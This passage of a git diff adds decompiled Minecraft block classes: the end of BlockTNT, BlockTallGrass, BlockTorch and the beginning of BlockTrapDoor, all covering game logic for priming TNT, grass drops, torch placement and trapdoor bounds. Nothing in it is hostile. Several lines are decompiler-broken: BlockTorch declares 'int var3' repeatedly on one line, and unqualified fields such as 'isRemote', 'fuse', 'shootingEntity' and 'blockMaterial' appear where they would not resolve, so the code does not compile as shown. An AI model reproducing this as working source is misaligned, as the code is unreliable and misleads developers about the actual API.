+  private static final String __OBFID = "CL_00000324";
+  
+  public BlockTNT()
+  {
+    super(net.minecraft.block.material.Material.tnt);
+    setDefaultState(blockState.getBaseState().withProperty(field_176246_a, Boolean.valueOf(false)));
+    setCreativeTab(CreativeTabs.tabRedstone);
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    super.onBlockAdded(worldIn, pos, state);
+    
+    if (worldIn.isBlockPowered(pos))
+    {
+      onBlockDestroyedByPlayer(worldIn, pos, state.withProperty(field_176246_a, Boolean.valueOf(true)));
+      worldIn.setBlockToAir(pos);
+    }
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (worldIn.isBlockPowered(pos))
+    {
+      onBlockDestroyedByPlayer(worldIn, pos, state.withProperty(field_176246_a, Boolean.valueOf(true)));
+      worldIn.setBlockToAir(pos);
+    }
+  }
+  
+
+
+
+  public void onBlockDestroyedByExplosion(World worldIn, BlockPos pos, Explosion explosionIn)
+  {
+    if (!isRemote)
+    {
+      EntityTNTPrimed var4 = new EntityTNTPrimed(worldIn, pos.getX() + 0.5F, pos.getY() + 0.5F, pos.getZ() + 0.5F, explosionIn.getExplosivePlacedBy());
+      fuse = (rand.nextInt(fuse / 4) + fuse / 8);
+      worldIn.spawnEntityInWorld(var4);
+    }
+  }
+  
+
+
+
+  public void onBlockDestroyedByPlayer(World worldIn, BlockPos pos, IBlockState state)
+  {
+    func_180692_a(worldIn, pos, state, null);
+  }
+  
+  public void func_180692_a(World worldIn, BlockPos p_180692_2_, IBlockState p_180692_3_, EntityLivingBase p_180692_4_)
+  {
+    if (!isRemote)
+    {
+      if (((Boolean)p_180692_3_.getValue(field_176246_a)).booleanValue())
+      {
+        EntityTNTPrimed var5 = new EntityTNTPrimed(worldIn, p_180692_2_.getX() + 0.5F, p_180692_2_.getY() + 0.5F, p_180692_2_.getZ() + 0.5F, p_180692_4_);
+        worldIn.spawnEntityInWorld(var5);
+        worldIn.playSoundAtEntity(var5, "game.tnt.primed", 1.0F, 1.0F);
+      }
+    }
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (playerIn.getCurrentEquippedItem() != null)
+    {
+      net.minecraft.item.Item var9 = playerIn.getCurrentEquippedItem().getItem();
+      
+      if ((var9 == Items.flint_and_steel) || (var9 == Items.fire_charge))
+      {
+        func_180692_a(worldIn, pos, state.withProperty(field_176246_a, Boolean.valueOf(true)), playerIn);
+        worldIn.setBlockToAir(pos);
+        
+        if (var9 == Items.flint_and_steel)
+        {
+          playerIn.getCurrentEquippedItem().damageItem(1, playerIn);
+        }
+        else if (!capabilities.isCreativeMode)
+        {
+          getCurrentEquippedItemstackSize -= 1;
+        }
+        
+        return true;
+      }
+    }
+    
+    return super.onBlockActivated(worldIn, pos, state, playerIn, side, hitX, hitY, hitZ);
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, IBlockState state, Entity entityIn)
+  {
+    if ((!isRemote) && ((entityIn instanceof EntityArrow)))
+    {
+      EntityArrow var5 = (EntityArrow)entityIn;
+      
+      if (var5.isBurning())
+      {
+        func_180692_a(worldIn, pos, worldIn.getBlockState(pos).withProperty(field_176246_a, Boolean.valueOf(true)), (shootingEntity instanceof EntityLivingBase) ? (EntityLivingBase)shootingEntity : null);
+        worldIn.setBlockToAir(pos);
+      }
+    }
+  }
+  
+
+
+
+  public boolean canDropFromExplosion(Explosion explosionIn)
+  {
+    return false;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176246_a, Boolean.valueOf((meta & 0x1) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Boolean)state.getValue(field_176246_a)).booleanValue() ? 1 : 0;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { field_176246_a });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockTallGrass.java b/src/minecraft/net/minecraft/block/BlockTallGrass.java
new file mode 100644
index 0000000..84e254e
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockTallGrass.java
@@ -0,0 +1,269 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.ColorizerGrass;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class BlockTallGrass extends BlockBush implements IGrowable
+{
+  public static final PropertyEnum field_176497_a = PropertyEnum.create("type", EnumType.class);
+  private static final String __OBFID = "CL_00000321";
+  
+  protected BlockTallGrass()
+  {
+    super(Material.vine);
+    setDefaultState(blockState.getBaseState().withProperty(field_176497_a, EnumType.DEAD_BUSH));
+    float var1 = 0.4F;
+    setBlockBounds(0.5F - var1, 0.0F, 0.5F - var1, 0.5F + var1, 0.8F, 0.5F + var1);
+  }
+  
+  public int getBlockColor()
+  {
+    return ColorizerGrass.getGrassColor(0.5D, 1.0D);
+  }
+  
+  public boolean canBlockStay(World worldIn, BlockPos p_180671_2_, IBlockState p_180671_3_)
+  {
+    return canPlaceBlockOn(worldIn.getBlockState(p_180671_2_.offsetDown()).getBlock());
+  }
+  
+
+
+
+  public boolean isReplaceable(World worldIn, BlockPos pos)
+  {
+    return true;
+  }
+  
+  public int getRenderColor(IBlockState state)
+  {
+    if (state.getBlock() != this)
+    {
+      return super.getRenderColor(state);
+    }
+    
+
+    EnumType var2 = (EnumType)state.getValue(field_176497_a);
+    return var2 == EnumType.DEAD_BUSH ? 16777215 : ColorizerGrass.getGrassColor(0.5D, 1.0D);
+  }
+  
+
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    return worldIn.getBiomeGenForCoords(pos).func_180627_b(pos);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return rand.nextInt(8) == 0 ? Items.wheat_seeds : null;
+  }
+  
+
+
+
+  public int quantityDroppedWithBonus(int fortune, Random random)
+  {
+    return 1 + random.nextInt(fortune * 2 + 1);
+  }
+  
+  public void harvestBlock(World worldIn, EntityPlayer playerIn, BlockPos pos, IBlockState state, TileEntity te)
+  {
+    if ((!isRemote) && (playerIn.getCurrentEquippedItem() != null) && (playerIn.getCurrentEquippedItem().getItem() == Items.shears))
+    {
+      playerIn.triggerAchievement(net.minecraft.stats.StatList.mineBlockStatArray[Block.getIdFromBlock(this)]);
+      spawnAsEntity(worldIn, pos, new ItemStack(Blocks.tallgrass, 1, ((EnumType)state.getValue(field_176497_a)).func_177044_a()));
+    }
+    else
+    {
+      super.harvestBlock(worldIn, playerIn, pos, state, te);
+    }
+  }
+  
+  public int getDamageValue(World worldIn, BlockPos pos)
+  {
+    IBlockState var3 = worldIn.getBlockState(pos);
+    return var3.getBlock().getMetaFromState(var3);
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    for (int var4 = 1; var4 < 3; var4++)
+    {
+      list.add(new ItemStack(itemIn, 1, var4));
+    }
+  }
+  
+  public boolean isStillGrowing(World worldIn, BlockPos p_176473_2_, IBlockState p_176473_3_, boolean p_176473_4_)
+  {
+    return p_176473_3_.getValue(field_176497_a) != EnumType.DEAD_BUSH;
+  }
+  
+  public boolean canUseBonemeal(World worldIn, Random p_180670_2_, BlockPos p_180670_3_, IBlockState p_180670_4_)
+  {
+    return true;
+  }
+  
+  public void grow(World worldIn, Random p_176474_2_, BlockPos p_176474_3_, IBlockState p_176474_4_)
+  {
+    BlockDoublePlant.EnumPlantType var5 = BlockDoublePlant.EnumPlantType.GRASS;
+    
+    if (p_176474_4_.getValue(field_176497_a) == EnumType.FERN)
+    {
+      var5 = BlockDoublePlant.EnumPlantType.FERN;
+    }
+    
+    if (Blocks.double_plant.canPlaceBlockAt(worldIn, p_176474_3_))
+    {
+      Blocks.double_plant.func_176491_a(worldIn, p_176474_3_, var5, 2);
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176497_a, EnumType.func_177045_a(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumType)state.getValue(field_176497_a)).func_177044_a();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176497_a });
+  }
+  
+
+
+
+  public Block.EnumOffsetType getOffsetType()
+  {
+    return Block.EnumOffsetType.XYZ;
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    DEAD_BUSH("DEAD_BUSH", 0, 0, "dead_bush"), 
+    GRASS("GRASS", 1, 1, "tall_grass"), 
+    FERN("FERN", 2, 2, "fern");
+    
+    private static final EnumType[] field_177048_d;
+    private final int field_177049_e;
+    private final String field_177046_f;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002055";
+    
+    private EnumType(String p_i45676_1_, int p_i45676_2_, int p_i45676_3_, String p_i45676_4_)
+    {
+      field_177049_e = p_i45676_3_;
+      field_177046_f = p_i45676_4_;
+    }
+    
+    public int func_177044_a()
+    {
+      return field_177049_e;
+    }
+    
+    public String toString()
+    {
+      return field_177046_f;
+    }
+    
+    public static EnumType func_177045_a(int p_177045_0_)
+    {
+      if ((p_177045_0_ < 0) || (p_177045_0_ >= field_177048_d.length))
+      {
+        p_177045_0_ = 0;
+      }
+      
+      return field_177048_d[p_177045_0_];
+    }
+    
+    public String getName()
+    {
+      return field_177046_f;
+    }
+    
+    static
+    {
+      field_177048_d = new EnumType[values().length];
+      
+
+
+      $VALUES = new EnumType[] { DEAD_BUSH, GRASS, FERN };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        field_177048_d[var3.func_177044_a()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockTorch.java b/src/minecraft/net/minecraft/block/BlockTorch.java
new file mode 100644
index 0000000..e85fd86
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockTorch.java
@@ -0,0 +1,398 @@
+package net.minecraft.block;
+
+import com.google.common.base.Predicate;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+
+public class BlockTorch extends Block
+{
+  public static final PropertyDirection FACING_PROP = PropertyDirection.create("facing", new Predicate()
+  {
+    private static final String __OBFID = "CL_00002054";
+    
+    public boolean func_176601_a(EnumFacing p_176601_1_) {
+      return p_176601_1_ != EnumFacing.DOWN;
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_176601_a((EnumFacing)p_apply_1_);
+    }
+  });
+  
+
+
+
+
+
+  private static final String __OBFID = "CL_00000325";
+  
+
+
+
+
+
+  protected BlockTorch()
+  {
+    super(net.minecraft.block.material.Material.circuits);
+    setDefaultState(blockState.getBaseState().withProperty(FACING_PROP, EnumFacing.UP));
+    setTickRandomly(true);
+    setCreativeTab(net.minecraft.creativetab.CreativeTabs.tabDecorations);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  private boolean func_176594_d(World worldIn, BlockPos p_176594_2_)
+  {
+    if (World.doesBlockHaveSolidTopSurface(worldIn, p_176594_2_))
+    {
+      return true;
+    }
+    
+
+    Block var3 = worldIn.getBlockState(p_176594_2_).getBlock();
+    return ((var3 instanceof BlockFence)) || (var3 == Blocks.glass) || (var3 == Blocks.cobblestone_wall) || (var3 == Blocks.stained_glass);
+  }
+  
+
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    Iterator var3 = FACING_PROP.getAllowedValues().iterator();
+    
+    EnumFacing var4;
+    do
+    {
+      if (!var3.hasNext())
+      {
+        return false;
+      }
+      
+      var4 = (EnumFacing)var3.next();
+    }
+    while (!func_176595_b(worldIn, pos, var4));
+    
+    return true;
+  }
+  
+  private boolean func_176595_b(World worldIn, BlockPos p_176595_2_, EnumFacing p_176595_3_)
+  {
+    BlockPos var4 = p_176595_2_.offset(p_176595_3_.getOpposite());
+    boolean var5 = p_176595_3_.getAxis().isHorizontal();
+    return ((var5) && (worldIn.func_175677_d(var4, true))) || ((p_176595_3_.equals(EnumFacing.UP)) && (func_176594_d(worldIn, var4)));
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    if (func_176595_b(worldIn, pos, facing))
+    {
+      return getDefaultState().withProperty(FACING_PROP, facing);
+    }
+    
+
+    Iterator var9 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    EnumFacing var10;
+    do
+    {
+      if (!var9.hasNext())
+      {
+        return getDefaultState();
+      }
+      
+      var10 = (EnumFacing)var9.next();
+    }
+    while (!worldIn.func_175677_d(pos.offset(var10.getOpposite()), true));
+    
+    return getDefaultState().withProperty(FACING_PROP, var10);
+  }
+  
+
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    func_176593_f(worldIn, pos, state);
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    func_176592_e(worldIn, pos, state);
+  }
+  
+  protected boolean func_176592_e(World worldIn, BlockPos p_176592_2_, IBlockState p_176592_3_)
+  {
+    if (!func_176593_f(worldIn, p_176592_2_, p_176592_3_))
+    {
+      return true;
+    }
+    
+
+    EnumFacing var4 = (EnumFacing)p_176592_3_.getValue(FACING_PROP);
+    EnumFacing.Axis var5 = var4.getAxis();
+    EnumFacing var6 = var4.getOpposite();
+    boolean var7 = false;
+    
+    if ((var5.isHorizontal()) && (!worldIn.func_175677_d(p_176592_2_.offset(var6), true)))
+    {
+      var7 = true;
+    }
+    else if ((var5.isVertical()) && (!func_176594_d(worldIn, p_176592_2_.offset(var6))))
+    {
+      var7 = true;
+    }
+    
+    if (var7)
+    {
+      dropBlockAsItem(worldIn, p_176592_2_, p_176592_3_, 0);
+      worldIn.setBlockToAir(p_176592_2_);
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+  protected boolean func_176593_f(World worldIn, BlockPos p_176593_2_, IBlockState p_176593_3_)
+  {
+    if ((p_176593_3_.getBlock() == this) && (func_176595_b(worldIn, p_176593_2_, (EnumFacing)p_176593_3_.getValue(FACING_PROP))))
+    {
+      return true;
+    }
+    
+
+    if (worldIn.getBlockState(p_176593_2_).getBlock() == this)
+    {
+      dropBlockAsItem(worldIn, p_176593_2_, p_176593_3_, 0);
+      worldIn.setBlockToAir(p_176593_2_);
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public net.minecraft.util.MovingObjectPosition collisionRayTrace(World worldIn, BlockPos pos, Vec3 start, Vec3 end)
+  {
+    EnumFacing var5 = (EnumFacing)worldIn.getBlockState(pos).getValue(FACING_PROP);
+    float var6 = 0.15F;
+    
+    if (var5 == EnumFacing.EAST)
+    {
+      setBlockBounds(0.0F, 0.2F, 0.5F - var6, var6 * 2.0F, 0.8F, 0.5F + var6);
+    }
+    else if (var5 == EnumFacing.WEST)
+    {
+      setBlockBounds(1.0F - var6 * 2.0F, 0.2F, 0.5F - var6, 1.0F, 0.8F, 0.5F + var6);
+    }
+    else if (var5 == EnumFacing.SOUTH)
+    {
+      setBlockBounds(0.5F - var6, 0.2F, 0.0F, 0.5F + var6, 0.8F, var6 * 2.0F);
+    }
+    else if (var5 == EnumFacing.NORTH)
+    {
+      setBlockBounds(0.5F - var6, 0.2F, 1.0F - var6 * 2.0F, 0.5F + var6, 0.8F, 1.0F);
+    }
+    else
+    {
+      var6 = 0.1F;
+      setBlockBounds(0.5F - var6, 0.0F, 0.5F - var6, 0.5F + var6, 0.6F, 0.5F + var6);
+    }
+    
+    return super.collisionRayTrace(worldIn, pos, start, end);
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    EnumFacing var5 = (EnumFacing)state.getValue(FACING_PROP);
+    double var6 = pos.getX() + 0.5D;
+    double var8 = pos.getY() + 0.7D;
+    double var10 = pos.getZ() + 0.5D;
+    double var12 = 0.22D;
+    double var14 = 0.27D;
+    
+    if (var5.getAxis().isHorizontal())
+    {
+      EnumFacing var16 = var5.getOpposite();
+      worldIn.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var6 + var14 * var16.getFrontOffsetX(), var8 + var12, var10 + var14 * var16.getFrontOffsetZ(), 0.0D, 0.0D, 0.0D, new int[0]);
+      worldIn.spawnParticle(EnumParticleTypes.FLAME, var6 + var14 * var16.getFrontOffsetX(), var8 + var12, var10 + var14 * var16.getFrontOffsetZ(), 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+    else
+    {
+      worldIn.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var6, var8, var10, 0.0D, 0.0D, 0.0D, new int[0]);
+      worldIn.spawnParticle(EnumParticleTypes.FLAME, var6, var8, var10, 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    IBlockState var2 = getDefaultState();
+    
+    switch (meta)
+    {
+    case 1: 
+      var2 = var2.withProperty(FACING_PROP, EnumFacing.EAST);
+      break;
+    
+    case 2: 
+      var2 = var2.withProperty(FACING_PROP, EnumFacing.WEST);
+      break;
+    
+    case 3: 
+      var2 = var2.withProperty(FACING_PROP, EnumFacing.SOUTH);
+      break;
+    
+    case 4: 
+      var2 = var2.withProperty(FACING_PROP, EnumFacing.NORTH);
+      break;
+    
+    case 5: 
+    default: 
+      var2 = var2.withProperty(FACING_PROP, EnumFacing.UP);
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3;
+    int var3;
+    int var3; int var3; int var3; switch (SwitchEnumFacing.field_176609_a[((EnumFacing)state.getValue(FACING_PROP)).ordinal()])
+    {
+    case 1: 
+      var3 = var2 | 0x1;
+      break;
+    
+    case 2: 
+      var3 = var2 | 0x2;
+      break;
+    
+    case 3: 
+      var3 = var2 | 0x3;
+      break;
+    
+    case 4: 
+      var3 = var2 | 0x4;
+      break;
+    
+    case 5: 
+    case 6: 
+    default: 
+      var3 = var2 | 0x5;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { FACING_PROP });
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_176609_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002053";
+    
+    static
+    {
+      try
+      {
+        field_176609_a[EnumFacing.EAST.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_176609_a[EnumFacing.WEST.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_176609_a[EnumFacing.SOUTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_176609_a[EnumFacing.NORTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_176609_a[EnumFacing.DOWN.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_176609_a[EnumFacing.UP.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockTrapDoor.java b/src/minecraft/net/minecraft/block/BlockTrapDoor.java
new file mode 100644
index 0000000..aadcfd0
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockTrapDoor.java
@@ -0,0 +1,352 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockTrapDoor extends Block
+{
+  public static final PropertyDirection field_176284_a = PropertyDirection.create("facing", EnumFacing.Plane.HORIZONTAL);
+  public static final PropertyBool field_176283_b = PropertyBool.create("open");
+  public static final PropertyEnum field_176285_M = PropertyEnum.create("half", DoorHalf.class);
+  private static final String __OBFID = "CL_00000327";
+  
+  protected BlockTrapDoor(Material p_i45434_1_)
+  {
+    super(p_i45434_1_);
+    setDefaultState(blockState.getBaseState().withProperty(field_176284_a, EnumFacing.NORTH).withProperty(field_176283_b, Boolean.valueOf(false)).withProperty(field_176285_M, DoorHalf.BOTTOM));
+    float var2 = 0.5F;
+    float var3 = 1.0F;
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+    setCreativeTab(CreativeTabs.tabRedstone);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isPassable(IBlockAccess blockAccess, BlockPos pos)
+  {
+    return !((Boolean)blockAccess.getBlockState(pos).getValue(field_176283_b)).booleanValue();
+  }
+  
+  public AxisAlignedBB getSelectedBoundingBox(World worldIn, BlockPos pos)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.getSelectedBoundingBox(worldIn, pos);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.getCollisionBoundingBox(worldIn, pos, state);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    func_180693_d(access.getBlockState(pos));
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    float var1 = 0.1875F;
+    setBlockBounds(0.0F, 0.40625F, 0.0F, 1.0F, 0.59375F, 1.0F);
+  }
+  
+  public void func_180693_d(IBlockState p_180693_1_)
+  {
+    if (p_180693_1_.getBlock() == this)
+    {
+      boolean var2 = p_180693_1_.getValue(field_176285_M) == DoorHalf.TOP;
+      Boolean var3 = (Boolean)p_180693_1_.getValue(field_176283_b);
+      EnumFacing var4 = (EnumFacing)p_180693_1_.getValue(field_176284_a);
+      float var5 = 0.1875F;
+      
+      if (var2)
+      {
+        setBlockBounds(0.0F, 0.8125F, 0.0F, 1.0F, 1.0F, 1.0F);
+      }
+      else
+      {
+        setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.1875F, 1.0F);
+      }
+      
+      if (var3.booleanValue())
+      {
+        if (var4 == EnumFacing.NORTH)
+        {
+          setBlockBounds(0.0F, 0.0F, 0.8125F, 1.0F, 1.0F, 1.0F);
+        }
+        
+        if (var4 == EnumFacing.SOUTH)
+        {
+          setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 0.1875F);
+        }
+        
+        if (var4 == EnumFacing.WEST)
+        {
+          setBlockBounds(0.8125F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+        }
+        
+        if (var4 == EnumFacing.EAST)
+        {
+          setBlockBounds(0.0F, 0.0F, 0.0F, 0.1875F, 1.0F, 1.0F);
+        }
+      }
+    }
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (blockMaterial == Material.iron)
+    {
+      return true;
+    }
+    
+
+    state = state.cycleProperty(field_176283_b);
+    worldIn.setBlockState(pos, state, 2);
+    worldIn.playAuxSFXAtEntity(playerIn, ((Boolean)state.getValue(field_176283_b)).booleanValue() ? 1003 : 1006, pos, 0);
+    return true;
+  }
+  
+
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!isRemote)
+    {
+      BlockPos var5 = pos.offset(((EnumFacing)state.getValue(field_176284_a)).getOpposite());
+      
+      if (!isValidSupportBlock(worldIn.getBlockState(var5).getBlock()))
+      {
+        worldIn.setBlockToAir(pos);
+        dropBlockAsItem(worldIn, pos, state, 0);
+      }
+      else
+      {
+        boolean var6 = worldIn.isBlockPowered(pos);
+        
+        if ((var6) || (neighborBlock.canProvidePower()))
+        {
+          boolean var7 = ((Boolean)state.getValue(field_176283_b)).booleanValue();
+          
+          if (var7 != var6)
+          {
+            worldIn.setBlockState(pos, state.withProperty(field_176283_b, Boolean.valueOf(var6)), 2);
+            worldIn.playAuxSFXAtEntity(null, var6 ? 1003 : 1006, pos, 0);
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public net.minecraft.util.MovingObjectPosition collisionRayTrace(World worldIn, BlockPos pos, Vec3 start, Vec3 end)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.collisionRayTrace(worldIn, pos, start, end);
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    IBlockState var9 = getDefaultState();
+    
+    if (facing.getAxis().isHorizontal())
+    {
+      var9 = var9.withProperty(field_176284_a, facing).withProperty(field_176283_b, Boolean.valueOf(false));
+      var9 = var9.withProperty(field_176285_M, hitY > 0.5F ? DoorHalf.TOP : DoorHalf.BOTTOM);
+    }
+    
+    return var9;
+  }
+  
+
+
+
+  public boolean canPlaceBlockOnSide(World worldIn, BlockPos pos, EnumFacing side)
+  {
+    return (!side.getAxis().isVertical()) && (isValidSupportBlock(worldIn.getBlockState(pos.offset(side.getOpposite())).getBlock()));
+  }
+  
+  protected static EnumFacing func_176281_b(int p_176281_0_)
+  {
+    switch (p_176281_0_ & 0x3)
+    {
+    case 0: 
+      return EnumFacing.NORTH;
+    
+    case 1: 
+      return EnumFacing.SOUTH;
+    
+    case 2: 
+      return EnumFacing.WEST;
+    }
+    
+    
+    return EnumFacing.EAST;
+  }
+  
+
+  protected static int func_176282_a(EnumFacing p_176282_0_)
+  {
+    switch (SwitchEnumFacing.field_177058_a[p_176282_0_.ordinal()])
+    {
+    case 1: 
+      return 0;
+    
+    case 2: 
+      return 1;
+    
+    case 3: 
+      return 2;
+    }
+    
+    
+    return 3;
+  }
+  
+
+  private static boolean isValidSupportBlock(Block p_150119_0_)
+  {
+    return ((blockMaterial.isOpaque()) && (p_150119_0_.isFullCube())) || (p_150119_0_ == net.minecraft.init.Blocks.glowstone) || ((p_150119_0_ instanceof BlockSlab)) || ((p_150119_0_ instanceof BlockStairs));
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176284_a, func_176281_b(meta)).withProperty(field_176283_b, Boolean.valueOf((meta & 0x4) != 0)).withProperty(field_176285_M, (meta & 0x8) == 0 ? DoorHalf.BOTTOM : DoorHalf.TOP);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | func_176282_a((EnumFacing)state.getValue(field_176284_a));
+    
+    if (((Boolean)state.getValue(field_176283_b)).booleanValue())
+    {
+      var3 |= 0x4;
+    }
+    
+    if (state.getValue(field_176285_M) == DoorHalf.TOP)
+    {
+      var3 |= 0x8;
+    }
+    
